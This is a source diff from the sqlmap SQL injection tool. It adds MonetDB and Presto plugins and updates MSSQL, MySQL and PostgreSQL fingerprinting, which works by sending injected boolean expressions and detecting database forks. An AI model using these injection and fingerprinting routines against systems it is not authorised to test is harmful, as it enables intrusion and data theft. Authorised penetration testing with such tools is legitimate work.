Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
try:
|
||||
import pymonetdb
|
||||
except:
|
||||
pass
|
||||
|
||||
import logging
|
||||
|
||||
from lib.core.common import getSafeExString
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import SqlmapConnectionException
|
||||
from plugins.generic.connector import Connector as GenericConnector
|
||||
|
||||
class Connector(GenericConnector):
|
||||
"""
|
||||
Homepage: https://github.com/gijzelaerr/pymonetdb
|
||||
User guide: https://pymonetdb.readthedocs.io/en/latest/index.html
|
||||
API: https://www.python.org/dev/peps/pep-0249/
|
||||
License: Mozilla Public License 2.0
|
||||
"""
|
||||
|
||||
def connect(self):
|
||||
self.initConnection()
|
||||
|
||||
try:
|
||||
self.connector = pymonetdb.connect(hostname=self.hostname, username=self.user, password=self.password, database=self.db, port=self.port, connect_timeout=conf.timeout)
|
||||
except pymonetdb.OperationalError as ex:
|
||||
raise SqlmapConnectionException(getSafeExString(ex))
|
||||
|
||||
self.initCursor()
|
||||
self.printConnected()
|
||||
|
||||
def fetchall(self):
|
||||
try:
|
||||
return self.cursor.fetchall()
|
||||
except pymonetdb.ProgrammingError as ex:
|
||||
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex))
|
||||
return None
|
||||
|
||||
def execute(self, query):
|
||||
try:
|
||||
self.cursor.execute(query)
|
||||
except (pymonetdb.OperationalError, pymonetdb.ProgrammingError) as ex:
|
||||
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex))
|
||||
except pymonetdb.InternalError as ex:
|
||||
raise SqlmapConnectionException(getSafeExString(ex))
|
||||
|
||||
self.connector.commit()
|
||||
|
||||
def select(self, query):
|
||||
self.execute(query)
|
||||
return self.fetchall()
|
||||
38
plugins/dbms/monetdb/enumeration.py
Normal file
38
plugins/dbms/monetdb/enumeration.py
Normal file
@@ -0,0 +1,38 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.data import logger
|
||||
from plugins.generic.enumeration import Enumeration as GenericEnumeration
|
||||
|
||||
class Enumeration(GenericEnumeration):
|
||||
def getPasswordHashes(self):
|
||||
warnMsg = "on MonetDB it is not possible to enumerate password hashes"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return {}
|
||||
|
||||
def getStatements(self):
|
||||
warnMsg = "on MonetDB it is not possible to enumerate the SQL statements"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return []
|
||||
|
||||
def getPrivileges(self, *args, **kwargs):
|
||||
warnMsg = "on MonetDB it is not possible to enumerate the user privileges"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return {}
|
||||
|
||||
def getRoles(self, *args, **kwargs):
|
||||
warnMsg = "on MonetDB it is not possible to enumerate the user roles"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return {}
|
||||
|
||||
def getHostname(self):
|
||||
warnMsg = "on MonetDB it is not possible to enumerate the hostname"
|
||||
logger.warn(warnMsg)
|
||||
11
plugins/dbms/monetdb/filesystem.py
Normal file
11
plugins/dbms/monetdb/filesystem.py
Normal file
@@ -0,0 +1,11 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from plugins.generic.filesystem import Filesystem as GenericFilesystem
|
||||
|
||||
class Filesystem(GenericFilesystem):
|
||||
pass
|
||||
94
plugins/dbms/monetdb/fingerprint.py
Normal file
94
plugins/dbms/monetdb/fingerprint.py
Normal file
@@ -0,0 +1,94 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.common import Backend
|
||||
from lib.core.common import Format
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.session import setDbms
|
||||
from lib.core.settings import MONETDB_ALIASES
|
||||
from lib.request import inject
|
||||
from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
|
||||
|
||||
class Fingerprint(GenericFingerprint):
|
||||
def __init__(self):
|
||||
GenericFingerprint.__init__(self, DBMS.MONETDB)
|
||||
|
||||
def getFingerprint(self):
|
||||
value = ""
|
||||
wsOsFp = Format.getOs("web server", kb.headersFp)
|
||||
|
||||
if wsOsFp:
|
||||
value += "%s\n" % wsOsFp
|
||||
|
||||
if kb.data.banner:
|
||||
dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)
|
||||
|
||||
if dbmsOsFp:
|
||||
value += "%s\n" % dbmsOsFp
|
||||
|
||||
value += "back-end DBMS: "
|
||||
|
||||
if not conf.extensiveFp:
|
||||
value += DBMS.MONETDB
|
||||
return value
|
||||
|
||||
actVer = Format.getDbms()
|
||||
blank = " " * 15
|
||||
value += "active fingerprint: %s" % actVer
|
||||
|
||||
if kb.bannerFp:
|
||||
banVer = kb.bannerFp.get("dbmsVersion")
|
||||
|
||||
if banVer:
|
||||
banVer = Format.getDbms([banVer])
|
||||
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
||||
|
||||
htmlErrorFp = Format.getErrorParsedDBMSes()
|
||||
|
||||
if htmlErrorFp:
|
||||
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
||||
|
||||
return value
|
||||
|
||||
def checkDbms(self):
|
||||
if not conf.extensiveFp and Backend.isDbmsWithin(MONETDB_ALIASES):
|
||||
setDbms(DBMS.MONETDB)
|
||||
|
||||
self.getBanner()
|
||||
|
||||
return True
|
||||
|
||||
infoMsg = "testing %s" % DBMS.MONETDB
|
||||
logger.info(infoMsg)
|
||||
|
||||
result = inject.checkBooleanExpression("isaurl(NULL)=false")
|
||||
|
||||
if result:
|
||||
infoMsg = "confirming %s" % DBMS.MONETDB
|
||||
logger.info(infoMsg)
|
||||
|
||||
result = inject.checkBooleanExpression("CODE(0) IS NOT NULL")
|
||||
|
||||
if not result:
|
||||
warnMsg = "the back-end DBMS is not %s" % DBMS.MONETDB
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return False
|
||||
|
||||
setDbms(DBMS.MONETDB)
|
||||
|
||||
self.getBanner()
|
||||
|
||||
return True
|
||||
else:
|
||||
warnMsg = "the back-end DBMS is not %s" % DBMS.MONETDB
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return False
|
||||
23
plugins/dbms/monetdb/syntax.py
Normal file
23
plugins/dbms/monetdb/syntax.py
Normal file
@@ -0,0 +1,23 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.convert import getOrds
|
||||
from plugins.generic.syntax import Syntax as GenericSyntax
|
||||
|
||||
class Syntax(GenericSyntax):
|
||||
@staticmethod
|
||||
def escape(expression, quote=True):
|
||||
"""
|
||||
>>> from lib.core.common import Backend
|
||||
>>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CODE(97)||CODE(98)||CODE(99)||CODE(100)||CODE(101)||CODE(102)||CODE(103)||CODE(104) FROM foobar"
|
||||
True
|
||||
"""
|
||||
|
||||
def escaper(value):
|
||||
return "||".join("CODE(%d)" % _ for _ in getOrds(value))
|
||||
|
||||
return Syntax._escape(expression, quote, escaper)
|
||||
28
plugins/dbms/monetdb/takeover.py
Normal file
28
plugins/dbms/monetdb/takeover.py
Normal file
@@ -0,0 +1,28 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.exception import SqlmapUnsupportedFeatureException
|
||||
from plugins.generic.takeover import Takeover as GenericTakeover
|
||||
|
||||
class Takeover(GenericTakeover):
|
||||
def osCmd(self):
|
||||
errMsg = "on MonetDB it is not possible to execute commands"
|
||||
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||
|
||||
def osShell(self):
|
||||
errMsg = "on MonetDB it is not possible to execute commands"
|
||||
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||
|
||||
def osPwn(self):
|
||||
errMsg = "on MonetDB it is not possible to establish an "
|
||||
errMsg += "out-of-band connection"
|
||||
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||
|
||||
def osSmb(self):
|
||||
errMsg = "on MonetDB it is not possible to establish an "
|
||||
errMsg += "out-of-band connection"
|
||||
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||
@@ -89,18 +89,21 @@ class Fingerprint(GenericFingerprint):
|
||||
logger.info(infoMsg)
|
||||
|
||||
for version, check in (
|
||||
("2000", "HOST_NAME()=HOST_NAME()"),
|
||||
("2005", "XACT_STATE()=XACT_STATE()"),
|
||||
("2008", "SYSDATETIME()=SYSDATETIME()"),
|
||||
("2012", "CONCAT(NULL,NULL)=CONCAT(NULL,NULL)"),
|
||||
("2014", "CHARINDEX('12.0.2000',@@version)>0"),
|
||||
("2019", "CHARINDEX('15.0.',@@VERSION)>0"),
|
||||
("Azure", "@@VERSION LIKE '%Azure%'"),
|
||||
("2017", "TRIM(NULL) IS NULL"),
|
||||
("2016", "ISJSON(NULL) IS NULL"),
|
||||
("2017", "TRIM(NULL) IS NULL")
|
||||
("2014", "CHARINDEX('12.0.',@@VERSION)>0"),
|
||||
("2012", "CONCAT(NULL,NULL)=CONCAT(NULL,NULL)"),
|
||||
("2008", "SYSDATETIME()=SYSDATETIME()"),
|
||||
("2005", "XACT_STATE()=XACT_STATE()"),
|
||||
("2000", "HOST_NAME()=HOST_NAME()"),
|
||||
):
|
||||
result = inject.checkBooleanExpression(check)
|
||||
|
||||
if result:
|
||||
Backend.setVersion(version)
|
||||
break
|
||||
|
||||
if Backend.getVersion():
|
||||
setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion()))
|
||||
|
||||
@@ -17,6 +17,7 @@ from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.enums import FORK
|
||||
from lib.core.enums import HASHDB_KEYS
|
||||
from lib.core.enums import OS
|
||||
from lib.core.session import setDbms
|
||||
@@ -44,57 +45,60 @@ class Fingerprint(GenericFingerprint):
|
||||
# Reference: https://dev.mysql.com/doc/relnotes/mysql/<major>.<minor>/en/
|
||||
|
||||
versions = (
|
||||
(32200, 32235), # MySQL 3.22
|
||||
(32300, 32359), # MySQL 3.23
|
||||
(40000, 40032), # MySQL 4.0
|
||||
(40100, 40131), # MySQL 4.1
|
||||
(50000, 50097), # MySQL 5.0
|
||||
(50100, 50174), # MySQL 5.1
|
||||
(50400, 50404), # MySQL 5.4
|
||||
(50500, 50562), # MySQL 5.5
|
||||
(50600, 50648), # MySQL 5.6
|
||||
(50700, 50730), # MySQL 5.7
|
||||
(60000, 60014), # MySQL 6.0
|
||||
(80000, 80021), # MySQL 8.0
|
||||
(60000, 60014), # MySQL 6.0
|
||||
(50700, 50731), # MySQL 5.7
|
||||
(50600, 50649), # MySQL 5.6
|
||||
(50500, 50563), # MySQL 5.5
|
||||
(50400, 50404), # MySQL 5.4
|
||||
(50100, 50174), # MySQL 5.1
|
||||
(50000, 50097), # MySQL 5.0
|
||||
(40100, 40131), # MySQL 4.1
|
||||
(40000, 40032), # MySQL 4.0
|
||||
(32300, 32359), # MySQL 3.23
|
||||
(32200, 32235), # MySQL 3.22
|
||||
)
|
||||
|
||||
index = -1
|
||||
for i in xrange(len(versions)):
|
||||
element = versions[i]
|
||||
version = element[0]
|
||||
version = getUnicode(version)
|
||||
result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/*!%s AND [RANDNUM1]=[RANDNUM2]*/" % version)
|
||||
found = False
|
||||
for candidate in versions:
|
||||
result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/*!%d AND [RANDNUM1]=[RANDNUM2]*/" % candidate[0])
|
||||
|
||||
if result:
|
||||
if not result:
|
||||
found = True
|
||||
break
|
||||
else:
|
||||
index += 1
|
||||
|
||||
if index >= 0:
|
||||
prevVer = None
|
||||
|
||||
for version in xrange(versions[index][0], versions[index][1] + 1):
|
||||
if found:
|
||||
for version in xrange(candidate[1], candidate[0] - 1, -1):
|
||||
version = getUnicode(version)
|
||||
result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/*!%s AND [RANDNUM1]=[RANDNUM2]*/" % version)
|
||||
|
||||
if result:
|
||||
if not prevVer:
|
||||
prevVer = version
|
||||
|
||||
if not result:
|
||||
if version[0] == "3":
|
||||
midVer = prevVer[1:3]
|
||||
midVer = version[1:3]
|
||||
else:
|
||||
midVer = prevVer[2]
|
||||
midVer = version[2]
|
||||
|
||||
trueVer = "%s.%s.%s" % (prevVer[0], midVer, prevVer[3:])
|
||||
trueVer = "%s.%s.%s" % (version[0], midVer, version[3:])
|
||||
|
||||
return trueVer
|
||||
|
||||
prevVer = version
|
||||
|
||||
return None
|
||||
|
||||
def getFingerprint(self):
|
||||
fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK)
|
||||
|
||||
if fork is None:
|
||||
if inject.checkBooleanExpression("VERSION() LIKE '%MariaDB%'"):
|
||||
fork = FORK.MARIADB
|
||||
elif inject.checkBooleanExpression("VERSION() LIKE '%TiDB%'"):
|
||||
fork = FORK.TIDB
|
||||
elif inject.checkBooleanExpression("@@VERSION_COMMENT LIKE '%Percona%'"):
|
||||
fork = FORK.PERCONA
|
||||
else:
|
||||
fork = ""
|
||||
|
||||
hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork)
|
||||
|
||||
value = ""
|
||||
wsOsFp = Format.getOs("web server", kb.headersFp)
|
||||
|
||||
@@ -110,12 +114,10 @@ class Fingerprint(GenericFingerprint):
|
||||
value += "back-end DBMS: "
|
||||
actVer = Format.getDbms()
|
||||
|
||||
_ = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK)
|
||||
if _:
|
||||
actVer += " (%s fork)" % _
|
||||
|
||||
if not conf.extensiveFp:
|
||||
value += actVer
|
||||
if fork:
|
||||
value += " (%s fork)" % fork
|
||||
return value
|
||||
|
||||
comVer = self._commentCheck()
|
||||
@@ -141,6 +143,9 @@ class Fingerprint(GenericFingerprint):
|
||||
if htmlErrorFp:
|
||||
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
||||
|
||||
if fork:
|
||||
value += "\n%sfork fingerprint: %s" % (blank, fork)
|
||||
|
||||
return value
|
||||
|
||||
def checkDbms(self):
|
||||
@@ -175,15 +180,19 @@ class Fingerprint(GenericFingerprint):
|
||||
|
||||
result = inject.checkBooleanExpression("SESSION_USER() LIKE USER()")
|
||||
|
||||
if not result:
|
||||
# Note: MemSQL doesn't support SESSION_USER()
|
||||
result = inject.checkBooleanExpression("GEOGRAPHY_AREA(NULL) IS NULL")
|
||||
|
||||
if result:
|
||||
hashDBWrite(HASHDB_KEYS.DBMS_FORK, FORK.MEMSQL)
|
||||
|
||||
if not result:
|
||||
warnMsg = "the back-end DBMS is not %s" % DBMS.MYSQL
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return False
|
||||
|
||||
if hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) is None:
|
||||
hashDBWrite(HASHDB_KEYS.DBMS_FORK, inject.checkBooleanExpression("VERSION() LIKE '%MariaDB%'") and "MariaDB" or "")
|
||||
|
||||
# reading information_schema on some platforms is causing annoying timeout exits
|
||||
# Reference: http://bugs.mysql.com/bug.php?id=15855
|
||||
|
||||
|
||||
@@ -26,6 +26,6 @@ class Syntax(GenericSyntax):
|
||||
if all(_ < 128 for _ in getOrds(value)):
|
||||
return "0x%s" % getUnicode(binascii.hexlify(getBytes(value)))
|
||||
else:
|
||||
return "CONVERT(0x%s USING utf8)" % getUnicode(binascii.hexlify(getBytes(value)))
|
||||
return "CONVERT(0x%s USING utf8)" % getUnicode(binascii.hexlify(getBytes(value, "utf8")))
|
||||
|
||||
return Syntax._escape(expression, quote, escaper)
|
||||
|
||||
@@ -7,10 +7,14 @@ See the file 'LICENSE' for copying permission
|
||||
|
||||
from lib.core.common import Backend
|
||||
from lib.core.common import Format
|
||||
from lib.core.common import hashDBRetrieve
|
||||
from lib.core.common import hashDBWrite
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.enums import FORK
|
||||
from lib.core.enums import HASHDB_KEYS
|
||||
from lib.core.enums import OS
|
||||
from lib.core.session import setDbms
|
||||
from lib.core.settings import PGSQL_ALIASES
|
||||
@@ -22,6 +26,20 @@ class Fingerprint(GenericFingerprint):
|
||||
GenericFingerprint.__init__(self, DBMS.PGSQL)
|
||||
|
||||
def getFingerprint(self):
|
||||
fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK)
|
||||
|
||||
if fork is None:
|
||||
if inject.checkBooleanExpression("VERSION() LIKE '%CockroachDB%'"):
|
||||
fork = FORK.COCKROACHDB
|
||||
elif inject.checkBooleanExpression("VERSION() LIKE '%Redshift%'"): # Reference: https://dataedo.com/kb/query/amazon-redshift/check-server-version
|
||||
fork = FORK.REDSHIFT
|
||||
elif inject.checkBooleanExpression("VERSION() LIKE '%Greenplum%'"): # Reference: http://www.sqldbpros.com/wordpress/wp-content/uploads/2014/08/what-version-of-greenplum.png
|
||||
fork = FORK.GREENPLUM
|
||||
else:
|
||||
fork = ""
|
||||
|
||||
hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork)
|
||||
|
||||
value = ""
|
||||
wsOsFp = Format.getOs("web server", kb.headersFp)
|
||||
|
||||
@@ -38,6 +56,8 @@ class Fingerprint(GenericFingerprint):
|
||||
|
||||
if not conf.extensiveFp:
|
||||
value += DBMS.PGSQL
|
||||
if fork:
|
||||
value += " (%s fork)" % fork
|
||||
return value
|
||||
|
||||
actVer = Format.getDbms()
|
||||
@@ -56,6 +76,9 @@ class Fingerprint(GenericFingerprint):
|
||||
if htmlErrorFp:
|
||||
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
||||
|
||||
if fork:
|
||||
value += "\n%sfork fingerprint: %s" % (blank, fork)
|
||||
|
||||
return value
|
||||
|
||||
def checkDbms(self):
|
||||
@@ -75,7 +98,8 @@ class Fingerprint(GenericFingerprint):
|
||||
infoMsg = "testing %s" % DBMS.PGSQL
|
||||
logger.info(infoMsg)
|
||||
|
||||
result = inject.checkBooleanExpression("QUOTE_IDENT(NULL) IS NULL")
|
||||
# NOTE: Vertica works too without the CONVERT_TO()
|
||||
result = inject.checkBooleanExpression("CONVERT_TO('[RANDSTR]', QUOTE_IDENT(NULL)) IS NULL")
|
||||
|
||||
if result:
|
||||
infoMsg = "confirming %s" % DBMS.PGSQL
|
||||
@@ -99,7 +123,9 @@ class Fingerprint(GenericFingerprint):
|
||||
infoMsg = "actively fingerprinting %s" % DBMS.PGSQL
|
||||
logger.info(infoMsg)
|
||||
|
||||
if inject.checkBooleanExpression("SHA256(NULL) IS NULL"):
|
||||
if inject.checkBooleanExpression("SINH(0)=0"):
|
||||
Backend.setVersion(">= 12.0")
|
||||
elif inject.checkBooleanExpression("SHA256(NULL) IS NULL"):
|
||||
Backend.setVersion(">= 11.0")
|
||||
elif inject.checkBooleanExpression("XMLTABLE(NULL) IS NULL"):
|
||||
Backend.setVersionList([">= 10.0", "< 11.0"])
|
||||
|
||||
30
plugins/dbms/presto/__init__.py
Normal file
30
plugins/dbms/presto/__init__.py
Normal file
@@ -0,0 +1,30 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.settings import PRESTO_SYSTEM_DBS
|
||||
from lib.core.unescaper import unescaper
|
||||
|
||||
from plugins.dbms.presto.enumeration import Enumeration
|
||||
from plugins.dbms.presto.filesystem import Filesystem
|
||||
from plugins.dbms.presto.fingerprint import Fingerprint
|
||||
from plugins.dbms.presto.syntax import Syntax
|
||||
from plugins.dbms.presto.takeover import Takeover
|
||||
from plugins.generic.misc import Miscellaneous
|
||||
|
||||
class PrestoMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
"""
|
||||
This class defines Presto methods
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self.excludeDbsList = PRESTO_SYSTEM_DBS
|
||||
|
||||
for cls in self.__class__.__bases__:
|
||||
cls.__init__(self)
|
||||
|
||||
unescaper[DBMS.PRESTO] = Syntax.escape
|
||||
70
plugins/dbms/presto/connector.py
Normal file
70
plugins/dbms/presto/connector.py
Normal file
@@ -0,0 +1,70 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
try:
|
||||
import prestodb
|
||||
except:
|
||||
pass
|
||||
|
||||
import logging
|
||||
import struct
|
||||
|
||||
from lib.core.common import getSafeExString
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import SqlmapConnectionException
|
||||
from plugins.generic.connector import Connector as GenericConnector
|
||||
|
||||
class Connector(GenericConnector):
|
||||
"""
|
||||
Homepage: https://github.com/prestodb/presto-python-client
|
||||
User guide: https://github.com/prestodb/presto-python-client/blob/master/README.md
|
||||
API: https://www.python.org/dev/peps/pep-0249/
|
||||
PyPI package: presto-python-client
|
||||
License: Apache License 2.0
|
||||
"""
|
||||
|
||||
def connect(self):
|
||||
self.initConnection()
|
||||
|
||||
try:
|
||||
self.connector = prestodb.dbapi.connect(host=self.hostname, user=self.user, catalog=self.db, port=self.port, request_timeout=conf.timeout)
|
||||
except (prestodb.exceptions.OperationalError, prestodb.exceptions.InternalError, prestodb.exceptions.ProgrammingError, struct.error) as ex:
|
||||
raise SqlmapConnectionException(getSafeExString(ex))
|
||||
|
||||
self.initCursor()
|
||||
self.printConnected()
|
||||
|
||||
def fetchall(self):
|
||||
try:
|
||||
return self.cursor.fetchall()
|
||||
except prestodb.exceptions.ProgrammingError as ex:
|
||||
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex))
|
||||
return None
|
||||
|
||||
def execute(self, query):
|
||||
retVal = False
|
||||
|
||||
try:
|
||||
self.cursor.execute(query)
|
||||
retVal = True
|
||||
except (prestodb.exceptions.OperationalError, prestodb.exceptions.ProgrammingError) as ex:
|
||||
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex))
|
||||
except prestodb.exceptions.InternalError as ex:
|
||||
raise SqlmapConnectionException(getSafeExString(ex))
|
||||
|
||||
self.connector.commit()
|
||||
|
||||
return retVal
|
||||
|
||||
def select(self, query):
|
||||
retVal = None
|
||||
|
||||
if self.execute(query):
|
||||
retVal = self.fetchall()
|
||||
|
||||
return retVal
|
||||
58
plugins/dbms/presto/enumeration.py
Normal file
58
plugins/dbms/presto/enumeration.py
Normal file
@@ -0,0 +1,58 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.data import logger
|
||||
from plugins.generic.enumeration import Enumeration as GenericEnumeration
|
||||
|
||||
class Enumeration(GenericEnumeration):
|
||||
def getBanner(self):
|
||||
warnMsg = "on Presto it is not possible to get a banner"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return None
|
||||
|
||||
def getCurrentDb(self):
|
||||
warnMsg = "on Presto it is not possible to get name of the current database (schema)"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
def isDba(self, user=None):
|
||||
warnMsg = "on Presto it is not possible to test if current user is DBA"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
def getUsers(self):
|
||||
warnMsg = "on Presto it is not possible to enumerate the users"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return []
|
||||
|
||||
def getPasswordHashes(self):
|
||||
warnMsg = "on Presto it is not possible to enumerate the user password hashes"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return {}
|
||||
|
||||
def getPrivileges(self, *args, **kwargs):
|
||||
warnMsg = "on Presto it is not possible to enumerate the user privileges"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return {}
|
||||
|
||||
def getRoles(self, *args, **kwargs):
|
||||
warnMsg = "on Presto it is not possible to enumerate the user roles"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return {}
|
||||
|
||||
def getHostname(self):
|
||||
warnMsg = "on Presto it is not possible to enumerate the hostname"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
def getStatements(self):
|
||||
warnMsg = "on Presto it is not possible to enumerate the SQL statements"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return []
|
||||
18
plugins/dbms/presto/filesystem.py
Normal file
18
plugins/dbms/presto/filesystem.py
Normal file
@@ -0,0 +1,18 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.exception import SqlmapUnsupportedFeatureException
|
||||
from plugins.generic.filesystem import Filesystem as GenericFilesystem
|
||||
|
||||
class Filesystem(GenericFilesystem):
|
||||
def readFile(self, remoteFile):
|
||||
errMsg = "on Presto it is not possible to read files"
|
||||
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||
|
||||
def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
|
||||
errMsg = "on Presto it is not possible to write files"
|
||||
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||
137
plugins/dbms/presto/fingerprint.py
Normal file
137
plugins/dbms/presto/fingerprint.py
Normal file
@@ -0,0 +1,137 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.common import Backend
|
||||
from lib.core.common import Format
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.session import setDbms
|
||||
from lib.core.settings import PRESTO_ALIASES
|
||||
from lib.request import inject
|
||||
from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
|
||||
|
||||
class Fingerprint(GenericFingerprint):
|
||||
def __init__(self):
|
||||
GenericFingerprint.__init__(self, DBMS.PRESTO)
|
||||
|
||||
def getFingerprint(self):
|
||||
value = ""
|
||||
wsOsFp = Format.getOs("web server", kb.headersFp)
|
||||
|
||||
if wsOsFp:
|
||||
value += "%s\n" % wsOsFp
|
||||
|
||||
if kb.data.banner:
|
||||
dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)
|
||||
|
||||
if dbmsOsFp:
|
||||
value += "%s\n" % dbmsOsFp
|
||||
|
||||
value += "back-end DBMS: "
|
||||
|
||||
if not conf.extensiveFp:
|
||||
value += DBMS.PRESTO
|
||||
return value
|
||||
|
||||
actVer = Format.getDbms()
|
||||
blank = " " * 15
|
||||
value += "active fingerprint: %s" % actVer
|
||||
|
||||
if kb.bannerFp:
|
||||
banVer = kb.bannerFp.get("dbmsVersion")
|
||||
|
||||
if banVer:
|
||||
banVer = Format.getDbms([banVer])
|
||||
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
||||
|
||||
htmlErrorFp = Format.getErrorParsedDBMSes()
|
||||
|
||||
if htmlErrorFp:
|
||||
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
||||
|
||||
return value
|
||||
|
||||
def checkDbms(self):
|
||||
if not conf.extensiveFp and Backend.isDbmsWithin(PRESTO_ALIASES):
|
||||
setDbms(DBMS.PRESTO)
|
||||
|
||||
self.getBanner()
|
||||
|
||||
return True
|
||||
|
||||
infoMsg = "testing %s" % DBMS.PRESTO
|
||||
logger.info(infoMsg)
|
||||
|
||||
result = inject.checkBooleanExpression("TO_BASE64URL(NULL) IS NULL")
|
||||
|
||||
if result:
|
||||
infoMsg = "confirming %s" % DBMS.PRESTO
|
||||
logger.info(infoMsg)
|
||||
|
||||
result = inject.checkBooleanExpression("TO_HEX(FROM_HEX(NULL)) IS NULL")
|
||||
|
||||
if not result:
|
||||
warnMsg = "the back-end DBMS is not %s" % DBMS.PRESTO
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return False
|
||||
|
||||
setDbms(DBMS.PRESTO)
|
||||
|
||||
if not conf.extensiveFp:
|
||||
return True
|
||||
|
||||
infoMsg = "actively fingerprinting %s" % DBMS.PRESTO
|
||||
logger.info(infoMsg)
|
||||
|
||||
# Reference: https://prestodb.io/docs/current/release/release-0.200.html
|
||||
if inject.checkBooleanExpression("FROM_IEEE754_32(NULL) IS NULL"):
|
||||
Backend.setVersion(">= 0.200")
|
||||
